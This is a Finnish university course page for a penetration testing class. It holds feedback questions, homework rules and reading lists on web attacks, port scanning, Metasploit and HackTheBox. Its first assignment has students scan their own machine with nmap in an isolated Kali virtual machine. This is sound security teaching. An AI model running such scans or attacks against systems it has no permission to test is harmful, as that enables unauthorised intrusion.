&lt;h2 id=&quot;anna-palautetta&quot;&gt;Anna palautetta &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#anna-palautetta&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Palaute on todella tärkeä tapa kehittää kurssia – kiitos kommenteista jo etukäteen. Palaute kahteen kanavaan&lt;/p&gt;
&lt;h3 id=&quot;1-vapaamuotoinen-palaute-kommenttina-taman-kurssisivun-peraan&quot;&gt;1) Vapaamuotoinen palaute kommenttina tämän kurssisivun perään &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#1-vapaamuotoinen-palaute-kommenttina-taman-kurssisivun-peraan&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/tunkeutumistestaus/#comments&quot;&gt;Vapaamuotoinen palaute kommenttina tämän kurssisivun perään&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Vapaamuotoiseen palautteeseen saa kirjoittaa mitä vain, eikä kysymyksiä tarvitse toistaa. Mutta tässä vinkiksi:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Opitko jotakin – eli osaatko nyt sellaista, mitä et osannut ennen kurssia?&lt;/li&gt;
&lt;li&gt;Teitkö jotain ensimmäistä kertaa? Hyökkäsit weppiin, käytit jotain työkalua, skannasit kokonaisen verkon; käytit jotain kieltä, tekniikkaa tai työkalua?&lt;/li&gt;
&lt;li&gt;Mitä mieltä kustakin vierailijasta? (Marko / Suomen Pankki, pankkien uhkalähtöinen testaus; Niklas / KONE hyökkääminen identiteettiin; Joona, fuff:n tekijä esittelee työkalunsa)&lt;/li&gt;
&lt;li&gt;Oliko opittu hyödyllistä? Luuletko, että sille on käyttöä esim. tulevaisuudessa töissä tai kotona?&lt;/li&gt;
&lt;li&gt;Mitä mieltä olit läksyistä? Luku/video/podcast -materiaalista? Hands-on tehtävistä?&lt;/li&gt;
&lt;li&gt;Miten voisin parantaa kurssia?&lt;/li&gt;
&lt;li&gt;Viihdyitkö kurssilla?&lt;/li&gt;
&lt;li&gt;Suosittelisitko kurssia? Kenelle kurssi sopisi? Koulutoverille tai kollegalle?&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;2-numeerinen-palaute-haaga-helian-palautejarjestelmaan-mynetissa&quot;&gt;2) Numeerinen palaute Haaga-Helian palautejärjestelmään MyNetissa &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#2-numeerinen-palaute-haaga-helian-palautejarjestelmaan-mynetissa&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Numeerinen palaute &lt;a href=&quot;https://mynet.haaga-helia.fi&quot;&gt;Haaga-Helian palautejärjestelmään MyNetissa&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Numeerisen palautteen avulla mm. verrataan Haaga-Helian kursseja toisiinsa. On tärkeää saada jokaiselta palaute, jotta tulos on tilastollisesti merkitsevä.&lt;/p&gt;
&lt;p&gt;Numeeriset: Asteikko 1-välttävä (huonoin) ... 5-kiitettävä (paras)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Oma aktiivisuutesi opiskelussa        1-5&lt;/li&gt;
&lt;li&gt;Osaamistavoitteiden saavuttaminen     1-5&lt;/li&gt;
&lt;li&gt;Työskentelytavat tukivat oppimista    1-5&lt;/li&gt;
&lt;li&gt;Opiskeluympäristö tuki oppimista      1-5&lt;/li&gt;
&lt;li&gt;Hyödyllisyys työelämään               1-5&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Avoimet kysymykset (näihin voi myös kopioida samat vastaukset jotka kirjoitit aiemmin)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Mitkä asiat edistivät oppimistasi?&lt;/li&gt;
&lt;li&gt;Miten kehittäisit toteutusta / toteutuskokonaisuutta, jotta osaamistavoitteet saavutettaisiin paremmin?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Kokonaisarviosi toteutuksesta / toteutuskokonaisuudesta 1-5&lt;/p&gt;
&lt;p&gt;Suosittelisitko 1 - 10 (1 en varmasti, 10 aion varmasti suositella tai olen jo suositellut)&lt;/p&gt;
&lt;p&gt;Kiitos palautteesta ja jännittävästä kurssista! Seuraavilla kursseilla nähdään.&lt;/p&gt;
&lt;h2 id=&quot;kertausmateriaalia&quot;&gt;Kertausmateriaalia &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#kertausmateriaalia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Tämä materiaali on vapaaehtoista, jos osaat ne jo. Lähteet ovat esimerkkejä, voit osata/opetella nuo asiat mistä vain haluat. Esimerkiksi ohjelmoinnin alkeita harjoitella tai osata aivan millä vain kielellä (Python, C...). Jos kurssilla järjestetään alkutesti, kysymykset eivät rajoitu kertauspaketin materiaaliin.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TCP/IP-pino: &lt;a href=&quot;https://en.wikipedia.org/wiki/Internet_protocol_suite&quot;&gt;Wikipedia: Internet protocol suite&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Linuxin komentokehote: &lt;a href=&quot;https://terokarvinen.com/2020/command-line-basics-revisited/&quot;&gt;Command Line Basics Revisited&lt;/a&gt; (ja Linuxin asennus &lt;a href=&quot;https://terokarvinen.com/2021/install-debian-on-virtualbox/&quot;&gt;Install Debian on VirtualBox&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Tietokantojen alkeet (millä vain alustalla): &lt;a href=&quot;http://terokarvinen.com/2016/postgresql-install-and-one-table-database-sql-crud-tutorial-for-ubuntu&quot;&gt;PostgreSQL Install and One Table Database - SQL CRUD tutorial for Ubuntu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Ohjelmoinnin alkeet (millä vain kielellä). Python on myös hyvä vaihtoehto. FreeCodeCamp.org: Javascript Algorithms And Data Structures Certification: Basic JavaScript: &lt;a href=&quot;https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript&quot;&gt;Introduction to JavaScript&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;luettavaa-ja-linkkeja&quot;&gt;Luettavaa ja linkkejä &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#luettavaa-ja-linkkeja&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;€ Maksulliset aineistot saattavat näkyä ilmaiseksi &lt;a href=&quot;http://libguides.haaga-helia.fi/az.php&quot;&gt;Haaga-Helian tunnuksilla kirjaston&lt;/a&gt; kautta. &lt;a href=&quot;https://www.oreilly.com/library/view/temporary-access/&quot;&gt;Haaga-Helialla on käyttöoikeus O&#39;Reilly Learning -kirjoihin (ent. Safari)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Työkaluja kurssille&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2021/install-debian-on-virtualbox/&quot;&gt;Install Debian on VirtualBox&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2020/remote-learning-tools-for-my-courses/&quot;&gt;Remote Learning Tools for Tero&#39;s Courses&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.kali.org/&quot;&gt;Kali Linux&lt;/a&gt;. Uusi levykuva &lt;a href=&quot;https://cdimage.kali.org/kali-2021.1/kali-linux-2021.1-live-amd64.iso&quot;&gt;kali-linux-2021.1-live-amd64.iso&lt;/a&gt; (vanha levykuva &lt;a href=&quot;https://cdimage.kali.org/kali-2020.3/kali-linux-2020.3-live-amd64.iso&quot;&gt;kali-linux-2020.3-live-amd64.iso&lt;/a&gt;).
Kun linkki menee vanhaksi, etsi Kalin kotisivulta tuorein amd64-arkkitehtuurin live-tikun iso-kuva.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a id=&quot;L2&quot;&gt;L2 weppihyökkäyksiä - tukee läksyä h2&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf&quot;&gt;OWASP 10 2017 (pdf)&lt;/a&gt;, erityisesti ne hyökkäykset, joita aiot kohta tehdä eli A2 Broken Authentication, A3 Sensitive Data Exposure, A7 Cross Site Scripting; sekä viime kerralla harjoiteltu A1 Injection.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;€ Santos et al 2018: Hacking Web Applications The Art of Hacking Series LiveLessons (video): Security Penetration Testing for Today&#39;s DevOps and Cloud Environments: &lt;a href=&quot;https://learning.oreilly.com/videos/hacking-web-applications/9780135261422/9780135261422-hwap_01_06_03_00&quot;&gt;6.3 Understanding SQL Injection&lt;/a&gt; ja &lt;a href=&quot;https://learning.oreilly.com/videos/hacking-web-applications/9780135261422/9780135261422-hwap_01_06_04_00&quot;&gt;6.4 Exploiting SQL Injection Vulnerabilities&lt;/a&gt; sekä &lt;a href=&quot;https://learning.oreilly.com/videos/hacking-web-applications/9780135261422/9780135261422-hwap_01_05_00_00&quot;&gt;Lesson 5: Authentication and Session Management Vulnerabilities&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;€ Percival &amp;amp; Samancioglu 2020: The Complete Ethical Hacking Course (video): &lt;a href=&quot;https://learning.oreilly.com/videos/the-complete-ethical/9781839210495/9781839210495-video21_1&quot;&gt;Chapter 21: Cross Site Scripting&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf&quot;&gt;Hutchins et al 2011: Intelligence-Driven Computer Network Defense
Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Yleiskuva, harjoitusmaaleja, web&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/&quot;&gt;MITRE ATT&amp;amp;CK&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://darknetdiaries.com/&quot;&gt;Darknet Diaries&lt;/a&gt; . Podcastien kuunteluun
kännykällä &lt;a href=&quot;https://f-droid.org/en/packages/de.danoeh.antennapod/&quot;&gt;AntennaPod löytyy F-Droidista&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://terokarvinen.com/2019/mitmproxy-on-kali-and-xubuntu-attack-and-testing&quot;&gt;MitmProxy on Kali and Xubuntu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://terokarvinen.com/2020/install-webgoat-web-pentest-practice-target&quot;&gt;Install Webgoat 8 - Learn Web Pentesting&lt;/a&gt;. (It&#39;s also possible to install &lt;a href=&quot;http://terokarvinen.com/2019/install-webgoat-pentest-learning-tool-on-ubuntu-with-docker&quot;&gt;old version&lt;/a&gt; 7 of WebGoat with Docker).&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf&quot;&gt;OWASP 10 2017 (pdf)&lt;/a&gt;. Tällä hetkellä 2021-02-02 uusin versio.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Aktiivinen tiedustelu. HackTheBox.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;€ Santos et al: &lt;a href=&quot;https://learning.oreilly.com/videos/the-art-of/9780135767849&quot;&gt;The Art of Hacking (Video Collection)&lt;/a&gt;: [..] &lt;a href=&quot;https://learning.oreilly.com/videos/security-penetration-testing/9780134833989/9780134833989-sptt_00_04_03_00&quot;&gt;4.3 Surveying Essential Tools for Active Reconnaissance: Port Scanning and Web Service Review&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;man nmap (laaja, silmäily riittää)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Kokonaisia blogeja ja videokanavia, vilkaise, ei tarvitse katsoa 200 h videota:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://tools.kali.org/tools-listing&lt;/li&gt;
&lt;li&gt;0xdf https://0xdf.gitlab.io/&lt;/li&gt;
&lt;li&gt;ippsec https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA/videos&lt;/li&gt;
&lt;li&gt;John Hammond https://www.youtube.com/user/RootOfTheNull/videos?sort=p&lt;/li&gt;
&lt;li&gt;Youtube-videoiden katseluun kännykällä &lt;a href=&quot;https://f-droid.org/packages/org.schabi.newpipe/&quot;&gt;NewPipe F-Droidista&lt;/a&gt;. Youtube-videoiden nopeuden säätöön &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/videospeed/&quot;&gt;codebicycle Video Speed Controller&lt;/a&gt; addon Firefoxille.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Passwords, Learning to Learn tools&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;infosecn1nja 2020: &lt;a href=&quot;https://github.com/infosecn1nja/Red-Teaming-Toolkit&quot;&gt;Red-Teaming-Toolkit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Taylor et al 2018: The Art of Hacking: &lt;a href=&quot;https://learning.oreilly.com/videos/the-art-of/9780135767849/9780135767849-SPTT_06_00&quot;&gt;Hacking User Credentials&lt;/a&gt; €&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Web Fuzzing, Second to Last Words&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hoikkala &quot;joohoi&quot; 2020: &lt;a href=&quot;https://github.com/ffuf/ffuf&quot;&gt;ffuf - Fast web fuzzer written in Go&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Hoikkala &quot;joohoi&quot; 2020: Still Fuzzing Faster (U fool). In &lt;a href=&quot;https://www.twitch.tv/helsec&quot;&gt;HelSec Virtual Meetup #1&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Miettinen 2020: iPhone BFU Acquisition and Analysis. In &lt;a href=&quot;https://www.twitch.tv/helsec&quot;&gt;HelSec Virtual Meetup #1&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Metasploit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;€ Jaswal 2020: Mastering Metasploit - 4ed: &lt;a href=&quot;https://learning.oreilly.com/library/view/mastering-metasploit-/9781838980078/B15076_01_Final_ASB_ePub.xhtml#_idParaDest-30&quot;&gt;Chapter 1: Approaching a Penetration Test Using Metasploit&lt;/a&gt; (kohdasta &quot;Conducting a penetration test with Metasploit&quot; luvun loppuun)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Karvinen 2018: &lt;a href=&quot;https://terokarvinen.com/2018/install-metasploitable-3-vulnerable-target-computer/&quot;&gt;Install Metasploitable 3 – Vulnerable Target Computer&lt;/a&gt; (Article uses rapid7/metasploitable3-ub1404 , see also &quot;rapid7/metasploitable3-win2k8&quot;)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;vanhoja-toteutuksia&quot;&gt;Vanhoja toteutuksia &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#vanhoja-toteutuksia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus--ici005as3a-3004--2026p4/&quot;&gt;Tunkeutumistestaus ICI005AS3A-3004 - 2026 loppukevät&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2024/tunkeutumistestaus-ici001as3a-3002-2024p4-loppusyksy-pentest/&quot;&gt;Tunkeutumistestaus ICI001AS3A-3002 - 2024p4-loppusyksy&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2024/tunkeutumistestaus-2024p2/&quot;&gt;Tunkeutumistestaus 2024p2&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2024/eettinen-hakkerointi-2024/&quot;&gt;Tunkeutumistestaus ici005as3a-3001 loppukevät pa2004&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2023/eettinen-hakkerointi-2023/&quot;&gt;Tunkeutumistestaus ict4tn027-3012 loppusyksy online&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2023/tunkeutumistestaus-2023-kevat/&quot;&gt;Tunkeutumistestaus ict4tn027-3009&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2022/tunkeutumistestaus-ict4tn027-3010-syksylla-2022/&quot;&gt;Tunkeutumistestaus ict4tn027-3010 - Syksy 2022&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2021/penetration-testing-course-2022-spring/&quot;&gt;Tunkeutumistestaus ict4tn027-3007 - 2022p4 late spring&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2021/penetration-testing-course-2021-autumn/&quot;&gt;Tunkeutumistestaus ict4tn027-3008 - 2021 Autumn&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2021/hakkerointi-kurssi-tunkeutumistestaus-ict4tn027-3005/&quot;&gt;itc4tn027-3005: Tunkeutumistestaus eli eettinen hakkerointi -kurssi&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2020/tunkeutumistestaus-kurssi-pentest-course-ict4tn027-3006-autumn-2020/&quot;&gt;Penetration Testing Course 2020 Autumn - Tunkeutumistestaus ict4tn027-3006&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2020/tunkeutumistestaus-kurssi-pentest-course-ict4tn027-3003/&quot;&gt;Penetration Testing Course 2020 Spring - Tunkeutumistestaus ict4tn027-3003&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/search/?q=tunkeutumistestaus&quot;&gt;Haku &quot;Tunkeutumistestaus&quot;&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;laksyt&quot;&gt;Läksyt &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#laksyt&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Palauta linkki Laksuun 24 h ennen seuraavaa lukujärjestykseen merkittyä kurssivarausta. Tehtävät ovat pakollinen ja tärkeä osa kurssia.&lt;/p&gt;
&lt;p&gt;Läksyt ovat virallisia vasta, kun ne on vahvistettu (yleensä oppitunnin päätteeksi). Tämä on edistynyt kurssi, joten ohjelmaan tulee yleensä muutoksia kurssin aikana. Osa tehtävistä edellyttää huolellisuuden lisäksi tietoja ja taitoja työkalujen käytöstä, jottei synny vahinkoja - tee vasta, kun tiedät oikeat työtavat.&lt;/p&gt;
&lt;p&gt;Läksyt käydään läpi seuraavalla tapaamiskerralla, ratkotaan yhdessä ongelmia ja annetaan suullista palautetta. Arvosana kotitehtäväpaketista tulee vasta kurssin lopuksi, mutta tehtävät tulee silti palauttaa aina vuorokautta ennen seuraavia tunteja. Julkaiseminen on vapaaehtoista, mutta erittäin suositeltavaa. Jos et jostain syystä uskalla tai muuten halua julkaista, voit laittaa työn weppisivulle salasanan taakse (kaikille kotitehtäville sama salasana) ja jakaa tämän salasanan kurssilaisten kanssa.  Jos tuntien yhteydessä järjestetään testejä läksyjen aiheista, niiden pisteet sisältyvät arvostelun kohtaan läksyt.&lt;/p&gt;
&lt;p&gt;Läksyt pitää tehdä tietokoneella kokeilemalla ja raportoida tapahtumien kulku, ellei kyseisessä alakohdassa erikseen muuta lue. Raportti tulee kirjoittaa samalla, kun työskentelee.&lt;/p&gt;
&lt;p&gt;Kaikki käytetyt lähteet tulee merkitä raporttiin: kurssin tehtäväsivu, kurssikavereiden raportit, man-sivut, kirjat.&lt;/p&gt;
&lt;p&gt;Tiivistelmiä tai esseitä ei saa generoida tekoälyllä eikä muilla vastaavilla tekniikoilla, vaan ne on kirjoitettava itse. Mikäli tekoälyltä kysyy neuvoa, se on merkittävä lähteeksi. Tekoälyt hallusinoivat, tiedot on suositeltavaa tarkistaa. Tehtävät tulee tehdä itse, eikä niitä tule antaa suurelta osin tekoälyn ratkaistavaksi. Sehän olisi sama kuin ostaa punttisjäsennyys - ja nokkelasti jättää käymättä punttisalilla.&lt;/p&gt;
&lt;p&gt;Kaksi ristiinarviota (vähintään) per palautettu tehtävä. Ristiinarvioilla harjoitellaan palautteen antamista ja analyysia. Anna sisällöllisiä kommentteja, parannusehdotuksia, neuvoja.&lt;/p&gt;
&lt;p&gt;Tehtäviä saa aloittaa vasta, kun on hyväksynyt kurssin säännöt.&lt;/p&gt;
&lt;h3 id=&quot;h1-kybertappoketju&quot;&gt;h1 Kybertappoketju &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#h1-kybertappoketju&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Tehtäviä saa aloittaa vasta, kun on hyväksynyt kurssin säännöt. Koneet on eristettävä Internetistä hyökkäysten harjoittelun ajaksi.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Tehtävät ovat virallisia vasta, kun ne on annettu tehtäväksi. Niitä ei tule aloittaa etukäteen, koska niiden sisältö voi vielä muuttua olennaisesti.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Kannataa lisätä kustakin oma huomio, idea tai kysymys.)
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://herrasmieshakkerit.fi/&quot;&gt;Herrasmieshakkerit&lt;/a&gt; (&lt;a href=&quot;https://hakkerit.libsyn.com/rss&quot;&gt;RSS&lt;/a&gt;) tai &lt;a href=&quot;https://darknetdiaries.com/episode/&quot;&gt;Darknet Diaries&lt;/a&gt; (&lt;a href=&quot;https://podcast.darknetdiaries.com/&quot;&gt;RSS&lt;/a&gt;) , yksi vapaavalintainen jakso jommasta kummasta. Voi kuunnella myös lenkillä, pyykiä viikatessa tms. Siisti koti / hyvä kunto kaupan päälle.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf&quot;&gt;Hutchins et al 2011: Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains&lt;/a&gt;, chapters &lt;em&gt;Abstract&lt;/em&gt;, 3.2 &lt;em&gt;Intrusion Kill Chain&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;€ Santos et al: The Art of Hacking (Video Collection): &lt;a href=&quot;https://learning.oreilly.com/videos/the-art-of/9780135767849/9780135767849-SPTT_04_00&quot;&gt;4.3 Surveying Essential Tools for Active Reconnaissance&lt;/a&gt;. Sisältää porttiskannauksen. 5 videota, yhteensä noin 20 min.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://finlex.fi/fi/oikeus/kko/kko/2003/20030036&quot;&gt;KKO 2003:36&lt;/a&gt;. (Vain silmäily, ei tarvitse lukea kokonaan eikä varsinkaan tehdä syvällistä analyysia).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Asenna Kali virtuaalikoneeseen. (Jos asennuksessa ei ole mitään ongelmia tai olet asentanut jo aiemmin, tarkkaa raporttia tästä alakohdasta ei tarvita. Kerro silloin kuitenkin, mikä versio ja millä asennustavalla. Jos on ongelmia, niin tarkka ja toistettava raportti).&lt;/li&gt;
&lt;li&gt;b) Irrota Kali-virtuaalikone verkosta. Todista testein, että kone ei saa yhteyttä Internetiin (esim. &#39;ping 8.8.8.8&#39;)&lt;/li&gt;
&lt;li&gt;c) Porttiskannaa 1000 tavallisinta tcp-porttia omasta koneestasi (nmap -T4 -A localhost). Selitä komennon paramterit. Analysoi ja selitä tulokset.&lt;/li&gt;
&lt;li&gt;d) Asenna kaksi vapaavalintaista demonia ja skannaa uudelleen. Analysoi ja selitä erot.&lt;/li&gt;
&lt;li&gt;e) Ratkaise vapaavalintainen kone HackTheBoxista. Omalle tasolle sopiva, useimmille varmaan Starting Pointista. Valitse kone, jota et ole ratkaissut vielä. Ei tunnilla näytetty Meow. (Propellihatuille: jos teet vaikeampia ei-starting-point koneita, niin retired tai vastaava kone, josta saa julkaista writeupin).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkkejä&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sivun tekeminen wepiin onnistuu helposti Githubilla. Karvinen 2023: &lt;a href=&quot;https://terokarvinen.com/2023/create-a-web-page-using-github/&quot;&gt;Create a Web Page Using Github&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Podcastien kuunteluun &lt;a href=&quot;https://antennapod.org/&quot;&gt;AntennaPod&lt;/a&gt; löytyy &lt;a href=&quot;https://f-droid.org/en/packages/de.danoeh.antennapod/&quot;&gt;F-Droid:sta&lt;/a&gt; ja Google Play:sta. Tietysti podcasteja voi kuunnella sadoilla muillakin ohjelmilla.&lt;/li&gt;
&lt;li&gt;Halutessasi voit käyttää myös muita virtualisointiympäristöjä kuin VirtualBoxia, esim Macilla UTM tai Linuxilla virt-manager (libvirt, qemu). Tämä edellyttää toki omaa soveltamista.&lt;/li&gt;
&lt;li&gt;Suosittelen Kaliin 4 GB muistia&lt;/li&gt;
&lt;li&gt;OffSec Ltd 2023: &lt;a href=&quot;https://www.kali.org/get-kali/#kali-virtual-machines&quot;&gt;Prebuilt Virtual Machines&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Tutustu tarvittaessa itse etsimiisi lähteisiin, kuten man-sivuihin ja ohjelmien dokumentaatioon.&lt;/li&gt;
&lt;li&gt;HackTheBox:n OpenVPN-yhteyden asennus (ulkomuistista)
&lt;ul&gt;
&lt;li&gt;Oikea HackTheBoxin alue on &quot;Practice hands-on Labs&quot; https://app.hackthebox.com/home (ei Academy)&lt;/li&gt;
&lt;li&gt;Tallenna ruutukaappaus säännöistä ennen aloitusta. HTB oikealla ylhäällä, kysymysmerkin alla.&lt;/li&gt;
&lt;li&gt;Lataa Starting Point foo.ovpn
&lt;ul&gt;
&lt;li&gt;Connect-nappi, HackTheBoxin oikeassa yläreunassa&lt;/li&gt;
&lt;li&gt;Oikealla ylhäällä &quot;Connect&quot;, &quot;Starting point&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Tuo (import) yhteys Network Manager:iin
&lt;ul&gt;
&lt;li&gt;Network manager - Linuxissa ala/yläpalkissa tarjottimella (tray, notification area), naaras ethernet-portin kuva tai koneet haalaavat -ikoni (riippuen versiosta). Tai komentoriviltä &#39;nmcli&#39;.&lt;/li&gt;
&lt;li&gt;VPN Connections: Create. &quot;Import&quot; on alimmaisena, ja valikkoa pitää kelata alaspäin.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;VPN päälle, testaus.
&lt;ul&gt;
&lt;li&gt;VPN päälle löytyy samasta Network Manager -kuvakkeesta.&lt;/li&gt;
